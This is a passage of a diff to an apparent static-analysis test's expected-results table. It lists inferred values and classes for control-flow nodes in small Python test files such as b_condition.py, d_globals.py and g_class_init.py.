builtin-class int | 41 | +| b_condition.py:41 | ControlFlowNode for IntegerLiteral | int 1 | builtin-class int | 41 | +| b_condition.py:42 | ControlFlowNode for Compare | bool False | builtin-class bool | 42 | +| b_condition.py:42 | ControlFlowNode for Compare | bool True | builtin-class bool | 42 | +| b_condition.py:42 | ControlFlowNode for None | NoneType None | builtin-class NoneType | 42 | +| b_condition.py:43 | ControlFlowNode for Attribute | int 1 | builtin-class int | 41 | +| b_condition.py:50 | ControlFlowNode for FunctionExpr | Function g | builtin-class function | 50 | +| b_condition.py:50 | ControlFlowNode for g | Function g | builtin-class function | 50 | +| b_condition.py:55 | ControlFlowNode for FunctionExpr | Function loop | builtin-class function | 55 | +| b_condition.py:55 | ControlFlowNode for loop | Function loop | builtin-class function | 55 | +| b_condition.py:61 | ControlFlowNode for FunctionExpr | Function double_attr_check | builtin-class function | 61 | +| b_condition.py:61 | ControlFlowNode for double_attr_check | Function double_attr_check | builtin-class function | 61 | +| b_condition.py:62 | ControlFlowNode for Compare | bool False | builtin-class bool | 62 | +| b_condition.py:62 | ControlFlowNode for Compare | bool True | builtin-class bool | 62 | +| b_condition.py:62 | ControlFlowNode for IntegerLiteral | int 3 | builtin-class int | 62 | +| b_condition.py:65 | ControlFlowNode for Compare | bool False | builtin-class bool | 65 | +| b_condition.py:65 | ControlFlowNode for Compare | bool True | builtin-class bool | 65 | +| b_condition.py:65 | ControlFlowNode for IntegerLiteral | int 0 | builtin-class int | 65 | +| b_condition.py:66 | ControlFlowNode for Compare | bool False | builtin-class bool | 66 | +| b_condition.py:66 | ControlFlowNode for Compare | bool True | builtin-class bool | 66 | +| b_condition.py:69 | ControlFlowNode for FunctionExpr | Function h | builtin-class function | 69 | +| b_condition.py:69 | ControlFlowNode for h | Function h | builtin-class function | 69 | +| b_condition.py:70 | ControlFlowNode for IfExp | bool True | builtin-class bool | 70 | +| b_condition.py:70 | ControlFlowNode for True | bool True | builtin-class bool | 70 | +| b_condition.py:70 | ControlFlowNode for b | bool True | builtin-class bool | 70 | +| b_condition.py:71 | ControlFlowNode for UnaryExpr | bool False | builtin-class bool | 71 | +| b_condition.py:71 | ControlFlowNode for UnaryExpr | bool True | builtin-class bool | 71 | +| b_condition.py:71 | ControlFlowNode for b | bool True | builtin-class bool | 70 | +| b_condition.py:72 | ControlFlowNode for IntegerLiteral | int 7 | builtin-class int | 72 | +| b_condition.py:72 | ControlFlowNode for b | int 7 | builtin-class int | 72 | +| b_condition.py:73 | ControlFlowNode for b | bool True | builtin-class bool | 70 | +| b_condition.py:73 | ControlFlowNode for b | int 7 | builtin-class int | 72 | +| b_condition.py:75 | ControlFlowNode for FunctionExpr | Function k | builtin-class function | 75 | +| b_condition.py:75 | ControlFlowNode for k | Function k | builtin-class function | 75 | +| b_condition.py:76 | ControlFlowNode for t | builtin-class type | builtin-class type | 76 | +| b_condition.py:76 | ControlFlowNode for type | builtin-class type | builtin-class type | 76 | +| b_condition.py:77 | ControlFlowNode for Compare | bool True | builtin-class bool | 77 | +| b_condition.py:77 | ControlFlowNode for object | builtin-class object | builtin-class type | 77 | +| b_condition.py:77 | ControlFlowNode for t | builtin-class type | builtin-class type | 76 | +| b_condition.py:78 | ControlFlowNode for object | builtin-class object | builtin-class type | 78 | +| b_condition.py:78 | ControlFlowNode for t | builtin-class object | builtin-class type | 78 | +| b_condition.py:79 | ControlFlowNode for t | builtin-class object | builtin-class type | 78 | +| b_condition.py:81 | ControlFlowNode for FunctionExpr | Function odasa6261 | builtin-class function | 81 | +| b_condition.py:81 | ControlFlowNode for True | bool True | builtin-class bool | 81 | +| b_condition.py:81 | ControlFlowNode for odasa6261 | Function odasa6261 | builtin-class function | 81 | +| b_condition.py:82 | ControlFlowNode for callable | Builtin-function callable | builtin-class builtin_function_or_method | 82 | +| b_condition.py:82 | ControlFlowNode for callable() | bool False | builtin-class bool | 82 | +| b_condition.py:82 | ControlFlowNode for callable() | bool True | builtin-class bool | 82 | +| b_condition.py:82 | ControlFlowNode for foo | bool True | builtin-class bool | 81 | +| b_condition.py:83 | ControlFlowNode for FunctionExpr | Function bar | builtin-class function | 83 | +| b_condition.py:83 | ControlFlowNode for bar | Function bar | builtin-class function | 83 | +| b_condition.py:87 | ControlFlowNode for FunctionExpr | Function split_bool1 | builtin-class function | 87 | +| b_condition.py:87 | ControlFlowNode for None | NoneType None | builtin-class NoneType | 87 | +| b_condition.py:87 | ControlFlowNode for split_bool1 | Function split_bool1 | builtin-class function | 87 | +| b_condition.py:88 | ControlFlowNode for x | NoneType None | builtin-class NoneType | 87 | +| b_condition.py:88 | ControlFlowNode for y | NoneType None | builtin-class NoneType | 87 | +| b_condition.py:90 | ControlFlowNode for x | NoneType None | builtin-class NoneType | 87 | +| b_condition.py:90 | ControlFlowNode for y | NoneType None | builtin-class NoneType | 87 | +| b_condition.py:92 | ControlFlowNode for x | NoneType None | builtin-class NoneType | 87 | +| b_condition.py:93 | ControlFlowNode for y | NoneType None | builtin-class NoneType | 87 | +| b_condition.py:96 | ControlFlowNode for y | NoneType None | builtin-class NoneType | 87 | +| b_condition.py:97 | ControlFlowNode for x | NoneType None | builtin-class NoneType | 87 | +| b_condition.py:101 | ControlFlowNode for FunctionExpr | Function not_or_not | builtin-class function | 101 | +| b_condition.py:101 | ControlFlowNode for a | a | builtin-class tuple | 101 | +| b_condition.py:101 | ControlFlowNode for not_or_not | Function not_or_not | builtin-class function | 101 | +| b_condition.py:102 | ControlFlowNode for Tuple | Tuple | builtin-class tuple | 102 | +| b_condition.py:102 | ControlFlowNode for UnaryExpr | bool False | builtin-class bool | 102 | +| b_condition.py:102 | ControlFlowNode for UnaryExpr | bool True | builtin-class bool | 102 | +| b_condition.py:102 | ControlFlowNode for a | a | builtin-class tuple | 101 | +| b_condition.py:102 | ControlFlowNode for isinstance | Builtin-function isinstance | builtin-class builtin_function_or_method | 102 | +| b_condition.py:102 | ControlFlowNode for isinstance() | bool False | builtin-class bool | 102 | +| b_condition.py:102 | ControlFlowNode for isinstance() | bool True | builtin-class bool | 102 | +| b_condition.py:102 | ControlFlowNode for list | builtin-class list | builtin-class type | 102 | +| b_condition.py:102 | ControlFlowNode for tuple | builtin-class tuple | builtin-class type | 102 | +| b_condition.py:103 | ControlFlowNode for TypeError | builtin-class TypeError | builtin-class type | 103 | +| b_condition.py:103 | ControlFlowNode for TypeError() | TypeError() | builtin-class TypeError | 103 | +| b_condition.py:104 | ControlFlowNode for UnaryExpr | bool False | builtin-class bool | 104 | +| b_condition.py:104 | ControlFlowNode for UnaryExpr | bool True | builtin-class bool | 104 | +| b_condition.py:104 | ControlFlowNode for a | a | builtin-class tuple | 101 | +| b_condition.py:105 | ControlFlowNode for IntegerLiteral | int 0 | builtin-class int | 105 | +| b_condition.py:105 | ControlFlowNode for UnaryExpr | bool False | builtin-class bool | 105 | +| b_condition.py:105 | ControlFlowNode for UnaryExpr | bool True | builtin-class bool | 105 | +| b_condition.py:105 | ControlFlowNode for a | a | builtin-class tuple | 101 | +| b_condition.py:106 | ControlFlowNode for Exception | builtin-class Exception | builtin-class type | 106 | +| b_condition.py:106 | ControlFlowNode for Exception() | Exception() | builtin-class Exception | 106 | +| b_condition.py:107 | ControlFlowNode for Str | 'Hello' | builtin-class str | 107 | +| d_globals.py:2 | ControlFlowNode for FunctionExpr | Function j | builtin-class function | 2 | +| d_globals.py:2 | ControlFlowNode for j | Function j | builtin-class function | 2 | +| d_globals.py:3 | ControlFlowNode for Tuple | Tuple | builtin-class tuple | 3 | +| d_globals.py:3 | ControlFlowNode for dict | int 7 | builtin-class int | 5 | +| d_globals.py:3 | ControlFlowNode for tuple | builtin-class tuple | builtin-class type | 7 | +| d_globals.py:4 | ControlFlowNode for dict | builtin-class dict | builtin-class type | 4 | +| d_globals.py:5 | ControlFlowNode for IntegerLiteral | int 7 | builtin-class int | 5 | +| d_globals.py:5 | ControlFlowNode for dict | int 7 | builtin-class int | 5 | +| d_globals.py:6 | ControlFlowNode for dict | int 7 | builtin-class int | 5 | +| d_globals.py:7 | ControlFlowNode for tuple | builtin-class tuple | builtin-class type | 7 | +| d_globals.py:8 | ControlFlowNode for tuple | builtin-class tuple | builtin-class type | 7 | +| d_globals.py:14 | ControlFlowNode for None | NoneType None | builtin-class NoneType | 14 | +| d_globals.py:14 | ControlFlowNode for g1 | NoneType None | builtin-class NoneType | 14 | +| d_globals.py:16 | ControlFlowNode for FunctionExpr | Function assign_global | builtin-class function | 16 | +| d_globals.py:16 | ControlFlowNode for assign_global | Function assign_global | builtin-class function | 16 | +| d_globals.py:18 | ControlFlowNode for IntegerLiteral | int 101 | builtin-class int | 18 | +| d_globals.py:18 | ControlFlowNode for g1 | int 101 | builtin-class int | 18 | +| d_globals.py:19 | ControlFlowNode for g1 | int 101 | builtin-class int | 18 | +| d_globals.py:23 | ControlFlowNode for None | NoneType None | builtin-class NoneType | 23 | +| d_globals.py:23 | ControlFlowNode for g2 | NoneType None | builtin-class NoneType | 23 | +| d_globals.py:25 | ControlFlowNode for FunctionExpr | Function init | builtin-class function | 25 | +| d_globals.py:25 | ControlFlowNode for init | Function init | builtin-class function | 25 | +| d_globals.py:27 | ControlFlowNode for IntegerLiteral | int 102 | builtin-class int | 27 | +| d_globals.py:27 | ControlFlowNode for g2 | int 102 | builtin-class int | 27 | +| d_globals.py:29 | ControlFlowNode for init | Function init | builtin-class function | 25 | +| d_globals.py:29 | ControlFlowNode for init() | NoneType None | builtin-class NoneType | 25 | +| d_globals.py:30 | ControlFlowNode for g2 | int 102 | builtin-class int | 27 | +| d_globals.py:33 | ControlFlowNode for None | NoneType None | builtin-class NoneType | 33 | +| d_globals.py:33 | ControlFlowNode for g3 | NoneType None | builtin-class NoneType | 33 | +| d_globals.py:35 | ControlFlowNode for ClassExpr | class Ugly | builtin-class type | 35 | +| d_globals.py:35 | ControlFlowNode for Ugly | class Ugly | builtin-class type | 35 | +| d_globals.py:35 | ControlFlowNode for object | builtin-class object | builtin-class type | 35 | +| d_globals.py:37 | ControlFlowNode for FunctionExpr | Function __init__ | builtin-class function | 37 | +| d_globals.py:37 | ControlFlowNode for __init__ | Function __init__ | builtin-class function | 37 | +| d_globals.py:39 | ControlFlowNode for IntegerLiteral | int 103 | builtin-class int | 39 | +| d_globals.py:39 | ControlFlowNode for g3 | int 103 | builtin-class int | 39 | +| d_globals.py:41 | ControlFlowNode for FunctionExpr | Function meth | builtin-class function | 41 | +| d_globals.py:41 | ControlFlowNode for meth | Function meth | builtin-class function | 41 | +| d_globals.py:42 | ControlFlowNode for g3 | int 103 | builtin-class int | 39 | +| d_globals.py:45 | ControlFlowNode for IntegerLiteral | int 0 | builtin-class int | 45 | +| d_globals.py:45 | ControlFlowNode for x | int 0 | builtin-class int | 45 | +| d_globals.py:46 | ControlFlowNode for IntegerLiteral | int 1 | builtin-class int | 46 | +| d_globals.py:46 | ControlFlowNode for x | int 1 | builtin-class int | 46 | +| d_globals.py:47 | ControlFlowNode for x | int 1 | builtin-class int | 46 | +| d_globals.py:49 | ControlFlowNode for IntegerLiteral | int 3 | builtin-class int | 49 | +| d_globals.py:49 | ControlFlowNode for x | int 3 | builtin-class int | 49 | +| d_globals.py:52 | ControlFlowNode for IntegerLiteral | int 1 | builtin-class int | 52 | +| d_globals.py:52 | ControlFlowNode for y | int 1 | builtin-class int | 52 | +| d_globals.py:54 | ControlFlowNode for IntegerLiteral | int 2 | builtin-class int | 54 | +| d_globals.py:54 | ControlFlowNode for y | int 2 | builtin-class int | 54 | +| d_globals.py:59 | ControlFlowNode for y | int 1 | builtin-class int | 52 | +| d_globals.py:59 | ControlFlowNode for y | int 2 | builtin-class int | 54 | +| d_globals.py:62 | ControlFlowNode for ClassExpr | class X | builtin-class type | 62 | +| d_globals.py:62 | ControlFlowNode for X | class X | builtin-class type | 62 | +| d_globals.py:62 | ControlFlowNode for object | builtin-class object | builtin-class type | 62 | +| d_globals.py:63 | ControlFlowNode for y | int 1 | builtin-class int | 52 | +| d_globals.py:63 | ControlFlowNode for y | int 2 | builtin-class int | 54 | +| d_globals.py:66 | ControlFlowNode for g3 | NoneType None | builtin-class NoneType | 33 | +| d_globals.py:68 | ControlFlowNode for type | builtin-class type | builtin-class type | 68 | +| d_globals.py:70 | ControlFlowNode for FunctionExpr | Function k | builtin-class function | 70 | +| d_globals.py:70 | ControlFlowNode for k | Function k | builtin-class function | 70 | +| d_globals.py:71 | ControlFlowNode for type | builtin-class type | builtin-class type | 71 | +| d_globals.py:73 | ControlFlowNode for None | NoneType None | builtin-class NoneType | 73 | +| d_globals.py:73 | ControlFlowNode for g4 | NoneType None | builtin-class NoneType | 73 | +| d_globals.py:75 | ControlFlowNode for FunctionExpr | Function get_g4 | builtin-class function | 75 | +| d_globals.py:75 | ControlFlowNode for get_g4 | Function get_g4 | builtin-class function | 75 | +| d_globals.py:76 | ControlFlowNode for UnaryExpr | bool True | builtin-class bool | 76 | +| d_globals.py:76 | ControlFlowNode for g4 | NoneType None | builtin-class NoneType | 73 | +| d_globals.py:77 | ControlFlowNode for set_g4 | Function set_g4 | builtin-class function | 80 | +| d_globals.py:77 | ControlFlowNode for set_g4() | NoneType None | builtin-class NoneType | 80 | +| d_globals.py:78 | ControlFlowNode for g4 | bool False | builtin-class bool | 85 | +| d_globals.py:80 | ControlFlowNode for FunctionExpr | Function set_g4 | builtin-class function | 80 | +| d_globals.py:80 | ControlFlowNode for set_g4 | Function set_g4 | builtin-class function | 80 | +| d_globals.py:81 | ControlFlowNode for set_g4_indirect | Function set_g4_indirect | builtin-class function | 83 | +| d_globals.py:81 | ControlFlowNode for set_g4_indirect() | NoneType None | builtin-class NoneType | 83 | +| d_globals.py:83 | ControlFlowNode for FunctionExpr | Function set_g4_indirect | builtin-class function | 83 | +| d_globals.py:83 | ControlFlowNode for set_g4_indirect | Function set_g4_indirect | builtin-class function | 83 | +| d_globals.py:85 | ControlFlowNode for False | bool False | builtin-class bool | 85 | +| d_globals.py:85 | ControlFlowNode for g4 | bool False | builtin-class bool | 85 | +| d_globals.py:87 | ControlFlowNode for ClassExpr | class modinit | builtin-class type | 87 | +| d_globals.py:87 | ControlFlowNode for modinit | class modinit | builtin-class type | 87 | +| d_globals.py:87 | ControlFlowNode for object | builtin-class object | builtin-class type | 87 | +| d_globals.py:90 | ControlFlowNode for IntegerLiteral | int 0 | builtin-class int | 90 | +| d_globals.py:90 | ControlFlowNode for z | int 0 | builtin-class int | 90 | +| d_globals.py:95 | ControlFlowNode for FunctionExpr | Function outer | builtin-class function | 95 | +| d_globals.py:95 | ControlFlowNode for outer | Function outer | builtin-class function | 95 | +| d_globals.py:96 | ControlFlowNode for FunctionExpr | Function inner | builtin-class function | 96 | +| d_globals.py:96 | ControlFlowNode for inner | Function inner | builtin-class function | 96 | +| d_globals.py:98 | ControlFlowNode for IntegerLiteral | int 100 | builtin-class int | 98 | +| d_globals.py:98 | ControlFlowNode for glob | int 100 | builtin-class int | 98 | +| d_globals.py:99 | ControlFlowNode for glob | int 100 | builtin-class int | 98 | +| d_globals.py:101 | ControlFlowNode for FunctionExpr | Function otherInner | builtin-class function | 101 | +| d_globals.py:101 | ControlFlowNode for otherInner | Function otherInner | builtin-class function | 101 | +| d_globals.py:104 | ControlFlowNode for inner | Function inner | builtin-class function | 96 | +| d_globals.py:104 | ControlFlowNode for inner() | int 100 | builtin-class int | 98 | +| d_globals.py:107 | ControlFlowNode for FunctionExpr | Function redefine | builtin-class function | 107 | +| d_globals.py:107 | ControlFlowNode for redefine | Function redefine | builtin-class function | 107 | +| d_globals.py:110 | ControlFlowNode for IntegerLiteral | int 1 | builtin-class int | 110 | +| d_globals.py:110 | ControlFlowNode for z | int 1 | builtin-class int | 110 | +| d_globals.py:111 | ControlFlowNode for z | int 1 | builtin-class int | 110 | +| d_globals.py:113 | ControlFlowNode for IntegerLiteral | int 50 | builtin-class int | 113 | +| d_globals.py:113 | ControlFlowNode for glob | int 50 | builtin-class int | 113 | +| d_globals.py:114 | ControlFlowNode for glob | int 50 | builtin-class int | 113 | +| d_globals.py:118 | ControlFlowNode for ClassExpr | class D | builtin-class type | 118 | +| d_globals.py:118 | ControlFlowNode for D | class D | builtin-class type | 118 | +| d_globals.py:118 | ControlFlowNode for object | builtin-class object | builtin-class type | 118 | +| d_globals.py:120 | ControlFlowNode for FunctionExpr | Function __init__ | builtin-class function | 120 | +| d_globals.py:120 | ControlFlowNode for __init__ | Function __init__ | builtin-class function | 120 | +| d_globals.py:123 | ControlFlowNode for FunctionExpr | Function foo | builtin-class function | 123 | +| d_globals.py:123 | ControlFlowNode for foo | Function foo | builtin-class function | 123 | +| d_globals.py:124 | ControlFlowNode for dict | int 7 | builtin-class int | 5 | +| d_globals.py:126 | ControlFlowNode for FunctionExpr | Function use_list_attribute | builtin-class function | 126 | +| d_globals.py:126 | ControlFlowNode for use_list_attribute | Function use_list_attribute | builtin-class function | 126 | +| d_globals.py:127 | ControlFlowNode for List | List | builtin-class list | 127 | +| d_globals.py:127 | ControlFlowNode for l | List | builtin-class list | 127 | +| d_globals.py:128 | ControlFlowNode for Attribute | Builtin-method append | builtin-class method_descriptor | 128 | +| d_globals.py:128 | ControlFlowNode for Attribute() | NoneType None | builtin-class NoneType | 128 | +| d_globals.py:128 | ControlFlowNode for IntegerLiteral | int 0 | builtin-class int | 128 | +| d_globals.py:128 | ControlFlowNode for l | List | builtin-class list | 127 | +| d_globals.py:128 | ControlFlowNode for list | builtin-class list | builtin-class type | 128 | +| d_globals.py:129 | ControlFlowNode for l | List | builtin-class list | 127 | +| e_temporal.py:2 | ControlFlowNode for ImportExpr | Module sys | builtin-class module | 2 | +| e_temporal.py:2 | ControlFlowNode for sys | Module sys | builtin-class module | 2 | +| e_temporal.py:4 | ControlFlowNode for FunctionExpr | Function f | builtin-class function | 4 | +| e_temporal.py:4 | ControlFlowNode for f | Function f | builtin-class function | 4 | +| e_temporal.py:5 | ControlFlowNode for Attribute | list object | builtin-class list | 5 | +| e_temporal.py:5 | ControlFlowNode for Compare | bool False | builtin-class bool | 5 | +| e_temporal.py:5 | ControlFlowNode for Compare | bool True | builtin-class bool | 5 | +| e_temporal.py:5 | ControlFlowNode for IntegerLiteral | int 3 | builtin-class int | 5 | +| e_temporal.py:5 | ControlFlowNode for len | Builtin-function len | builtin-class builtin_function_or_method | 5 | +| e_temporal.py:5 | ControlFlowNode for len() | len() | builtin-class int | 5 | +| e_temporal.py:5 | ControlFlowNode for sys | Module sys | builtin-class module | 2 | +| e_temporal.py:7 | ControlFlowNode for IntegerLiteral | int 1 | builtin-class int | 7 | +| e_temporal.py:9 | ControlFlowNode for FunctionExpr | Function g | builtin-class function | 9 | +| e_temporal.py:9 | ControlFlowNode for g | Function g | builtin-class function | 9 | +| e_temporal.py:10 | ControlFlowNode for arg | int 1 | builtin-class int | 7 | +| e_temporal.py:12 | ControlFlowNode for f | Function f | builtin-class function | 4 | +| e_temporal.py:12 | ControlFlowNode for f() | int 1 | builtin-class int | 7 | +| e_temporal.py:12 | ControlFlowNode for g | Function g | builtin-class function | 9 | +| e_temporal.py:12 | ControlFlowNode for g() | int 1 | builtin-class int | 7 | +| e_temporal.py:12 | ControlFlowNode for x | int 1 | builtin-class int | 7 | +| g_class_init.py:3 | ControlFlowNode for C | class C | builtin-class type | 3 | +| g_class_init.py:3 | ControlFlowNode for ClassExpr | class C | builtin-class type | 3 | +| g_class_init.py:3 | ControlFlowNode for object | builtin-class object | builtin-class type | 3 | +| g_class_init.py:5 | ControlFlowNode for FunctionExpr | Function __init__ | builtin-class function | 5 | +| g_class_init.py:5 | ControlFlowNode for __init__ | Function __init__ | builtin-class function | 5 | +| g_class_init.py:6 | ControlFlowNode for Attribute() | NoneType None | builtin-class NoneType | 9 | +| g_class_init.py:6 | ControlFlowNode for self | self | class C | 5 | +| g_class_init.py:7 | ControlFlowNode for Attribute | int 1 | builtin-class int | 7 | +| g_class_init.py:7 | ControlFlowNode for IntegerLiteral | int 1 | builtin-class int | 7 | +| g_class_init.py:7 | ControlFlowNode for self | self | class C | 5 | +| g_class_init.py:9 | ControlFlowNode for FunctionExpr | Function _init | builtin-class function | 9 | +| g_class_init.py:9 | ControlFlowNode for _init | Function _init | builtin-class function | 9 | +| g_class_init.py:10 | ControlFlowNode for Attribute | int 2 | builtin-class int | 10 | +| g_class_init.py:10 | ControlFlowNode for IntegerLiteral | int 2 | builtin-class int | 10 | +| g_class_init.py:10 | ControlFlowNode for self | self | class C | 5 | +| g_class_init.py:11 | ControlFlowNode for Attribute() | NoneType None | builtin-class NoneType | 13 | +| g_class_init.py:11 | ControlFlowNode for self | self | class C | 5 | +| g_class_init.py:13 | ControlFlowNode for FunctionExpr | Function _init2 | builtin-class function | 13 | +| g_class_init.py:13 | ControlFlowNode for _init2 | Function _init2 | builtin-class function | 13 | +| g_class_init.py:14 | ControlFlowNode for Attribute | int 3 | builtin-class int | 14 | +| g_class_init.py:14 | ControlFlowNode for IntegerLiteral | int 3 | builtin-class int | 14 | +| g_class_init.py:14 | ControlFlowNode for self | self | class C | 5 | +| g_class_init.py:16 | ControlFlowNode for FunctionExpr | Function method | builtin-class function | 16 | +| g_class_init.py:16 | ControlFlowNode for method | Function method | builtin-class function | 16 | +| g_class_init.py:17 | ControlFlowNode for Attribute | int 1 | builtin-class int | 7 | +| g_class_init.py:17 | ControlFlowNode for self | self | class C | 16 | +| g_class_init.py:18 | ControlFlowNode for Attribute | int 2 | builtin-class int | 10 | +| g_class_init.py:18 | ControlFlowNode for int | builtin-class int | builtin-class type | 18 | +| g_class_init.py:18 | ControlFlowNode for isinstance | Builtin-function isinstance | builtin-class builtin_function_or_method | 18 | +| g_class_init.py:18 | ControlFlowNode for isinstance() | bool True | builtin-class bool | 18 | +| g_class_init.py:18 | ControlFlowNode for self | self | class C | 16 | +| g_class_init.py:19 | ControlFlowNode for Attribute | int 2 | builtin-class int | 10 | +| g_class_init.py:19 | ControlFlowNode for self | self | class C | 16 | +| g_class_init.py:20 | ControlFlowNode for Attribute | int 3 | builtin-class int | 14 | +| g_class_init.py:20 | ControlFlowNode for self | self | class C | 16 | +| g_class_init.py:24 | ControlFlowNode for ClassExpr | class Oddities | builtin-class type | 24 | +| g_class_init.py:24 | ControlFlowNode for Oddities | class Oddities | builtin-class type | 24 | +| g_class_init.py:24 | ControlFlowNode for object | builtin-class object | builtin-class type | 24 | +| g_class_init.py:26 | ControlFlowNode for int | builtin-class int | builtin-class type | 26 | +| g_class_init.py:27 | ControlFlowNode for float | builtin-class float | builtin-class type | 27 | +| g_class_init.py:28 | ControlFlowNode for l | Builtin-function len | builtin-class builtin_function_or_method | 28 | +| g_class_init.py:28 | ControlFlowNode for len | Builtin-function len | builtin-class builtin_function_or_method | 28 | +| g_class_init.py:29 | ControlFlowNode for h | Builtin-function hash | builtin-class builtin_function_or_method | 29 | +| g_class_init.py:29 | ControlFlowNode for hash | Builtin-function hash | builtin-class builtin_function_or_method | 29 | +| g_class_init.py:32 | ControlFlowNode for ClassExpr | class D | builtin-class type | 32 | +| g_class_init.py:32 | ControlFlowNode for D | class D | builtin-class type | 32 | +| g_class_init.py:32 | ControlFlowNode for object | builtin-class object | builtin-class type | 32 | +| g_class_init.py:34 | ControlFlowNode for FunctionExpr | Function __init__ | builtin-class function | 34 | +| g_class_init.py:34 | ControlFlowNode for __init__ | Function __init__ | builtin-class function | 34 | +| g_class_init.py:35 | ControlFlowNode for Attribute | super().x | builtin-class method | 35 | +| g_class_init.py:35 | ControlFlowNode for D | class D | builtin-class type | 32 | +| g_class_init.py:35 | ControlFlowNode for self | self | class D | 34 | +| g_class_init.py:35 | ControlFlowNode for super | builtin-class super | builtin-class type | 35 | +| g_class_init.py:35 | ControlFlowNode for super() | super() | builtin-class super | 35 | +| g_class_init.py:36 | ControlFlowNode for Attribute | super().__init__ | builtin-class method | 36 | +| g_class_init.py:36 | ControlFlowNode for D | class D | builtin-class type | 32 | +| g_class_init.py:36 | ControlFlowNode for self | self | class D | 34 | +| g_class_init.py:36 | ControlFlowNode for super | builtin-class super | builtin-class type | 36 | +| g_class_init.py:36 | ControlFlowNode for super() | super() | builtin-class super | 36 | +| g_class_init.py:42 | ControlFlowNode for Str | 'v2' | builtin-class str | 42 | +| g_class_init.py:42 | ControlFlowNode for V2 | 'v2' | builtin-class str | 42 | +| g_class_init.py:43 | ControlFlowNode for Str | 'v3' | builtin-class str | 43 | +| g_class_init.py:43 | ControlFlowNode for V3 | 'v3' | builtin-class str | 43 | +| g_class_init.py:45 | ControlFlowNode for ClassExpr | class E | builtin-class type | 45 | +| g_class_init.py:45 | ControlFlowNode for E | class E | builtin-class type | 45 | +| g_class_init.py:45 | ControlFlowNode for object | builtin-class object | builtin-class type | 45 | +| g_class_init.py:46 | ControlFlowNode for FunctionExpr | Function __init__ | builtin-class function | 46 | +| g_class_init.py:46 | ControlFlowNode for __init__ | Function __init__ | builtin-class function | 46 | +| g_class_init.py:48 | ControlFlowNode for Attribute | 'v2' | builtin-class str | 42 | +| g_class_init.py:48 | ControlFlowNode for V2 | 'v2' | builtin-class str | 42 | +| g_class_init.py:48 | ControlFlowNode for self | self | class E | 46 | +| g_class_init.py:50 | ControlFlowNode for Attribute | 'v3' | builtin-class str | 43 | +| g_class_init.py:50 | ControlFlowNode for V3 | 'v3' | builtin-class str | 43 | +| g_class_init.py:50 | ControlFlowNode for self | self | class E | 46 | +| g_class_init.py:52 | ControlFlowNode for FunctionExpr | Function meth | builtin-class function | 52 | +| g_class_init.py:52 | ControlFlowNode for meth | Function meth | builtin-class function | 52 | +| g_class_init.py:53 | ControlFlowNode for Attribute | 'v2' | builtin-class str | 42 | +| g_class_init.py:53 | ControlFlowNode for Attribute | 'v3' | builtin-class str | 43 | +| g_class_init.py:53 | ControlFlowNode for Compare | bool False | builtin-class bool | 53 | +| g_class_init.py:53 | ControlFlowNode for Compare | bool True | builtin-class bool | 53 | +| g_class_init.py:53 | ControlFlowNode for V2 | 'v2' | builtin-class str | 42 | +| g_class_init.py:53 | ControlFlowNode for self | self | class E | 52 | +| h_classes.py:1 | ControlFlowNode for ImportExpr | Module sys | builtin-class module | 1 | +| h_classes.py:1 | ControlFlowNode for sys | Module sys | builtin-class module | 1 | +| h_classes.py:3 | ControlFlowNode for C | class C | builtin-class type | 3 | +| h_classes.py:3 | ControlFlowNode for ClassExpr | class C | builtin-class type | 3 | +| h_classes.py:3 | ControlFlowNode for object | builtin-class object | builtin-class type | 3 | +| h_classes.py:5 | ControlFlowNode for Str | 'C_x' | builtin-class str | 5 | +| h_classes.py:5 | ControlFlowNode for x | 'C_x' | builtin-class str | 5 | +| h_classes.py:7 | ControlFlowNode for FunctionExpr | Function __init__ | builtin-class function | 7 | +| h_classes.py:7 | ControlFlowNode for __init__ | Function __init__ | builtin-class function | 7 | +| h_classes.py:8 | ControlFlowNode for Attribute | 'c_y' | builtin-class str | 8 | +| h_classes.py:8 | ControlFlowNode for Str | 'c_y' | builtin-class str | 8 | +| h_classes.py:8 | ControlFlowNode for self | self | class C | 7 | +| h_classes.py:10 | ControlFlowNode for C | class C | builtin-class type | 3 | +| h_classes.py:10 | ControlFlowNode for C() | C() | class C | 10 | +| h_classes.py:10 | ControlFlowNode for type | builtin-class type | builtin-class type | 10 | +| h_classes.py:10 | ControlFlowNode for type() | class C | builtin-class type | 3 | +| h_classes.py:11 | ControlFlowNode for sys | Module sys | builtin-class module | 1 | +| h_classes.py:11 | ControlFlowNode for type | builtin-class type | builtin-class type | 11 | +| h_classes.py:11 | ControlFlowNode for type() | builtin-class module | builtin-class type | 11 | +| h_classes.py:12 | ControlFlowNode for Dict | Dict | builtin-class dict | 12 | +| h_classes.py:12 | ControlFlowNode for Tuple | Tuple | builtin-class tuple | 12 | +| h_classes.py:12 | ControlFlowNode for object | builtin-class object | builtin-class type | 12 | +| h_classes.py:12 | ControlFlowNode for type | builtin-class type | builtin-class type | 12 | +| h_classes.py:14 | ControlFlowNode for FunctionExpr | Function k | builtin-class function | 14 | +| h_classes.py:14 | ControlFlowNode for k | Function k | builtin-class function | 14 | +| h_classes.py:15 | ControlFlowNode for C | class C | builtin-class type | 3 | +| h_classes.py:15 | ControlFlowNode for C() | C() | class C | 15 | +| h_classes.py:15 | ControlFlowNode for type | builtin-class type | builtin-class type | 15 | +| h_classes.py:15 | ControlFlowNode for type() | class C | builtin-class type | 3 | +| h_classes.py:16 | ControlFlowNode for sys | Module sys | builtin-class module | 1 | +| h_classes.py:16 | ControlFlowNode for type | builtin-class type | builtin-class type | 16 | +| h_classes.py:16 | ControlFlowNode for type() | builtin-class module | builtin-class type | 16 | +| h_classes.py:17 | ControlFlowNode for type | builtin-class type | builtin-class type | 17 | +| h_classes.py:17 | ControlFlowNode for type() | *UNKNOWN TYPE* | builtin-class type | 17 | +| h_classes.py:18 | ControlFlowNode for Dict | Dict | builtin-class dict | 18 | +| h_classes.py:18 | ControlFlowNode for Tuple | Tuple | builtin-class tuple | 18 | +| h_classes.py:18 | ControlFlowNode for object | builtin-class object | builtin-class type | 18 | +| h_classes.py:18 | ControlFlowNode for type | builtin-class type | builtin-class type | 18 | +| h_classes.py:23 | ControlFlowNode for Base | class Base | builtin-class type | 23 | +| h_classes.py:23 | ControlFlowNode for ClassExpr | class Base | builtin-class type | 23 | +| h_classes.py:23 | ControlFlowNode for object | builtin-class object | builtin-class type | 23 | +| h_classes.py:25 | ControlFlowNode for FunctionExpr | Function __init__ | builtin-class function | 25 | +| h_classes.py:25 | ControlFlowNode for __init__ | Function __init__ | builtin-class function | 25 | +| h_classes.py:26 | ControlFlowNode for Compare | bool False | builtin-class bool | 26 | +| h_classes.py:26 | ControlFlowNode for Compare | bool True | builtin-class bool | 26 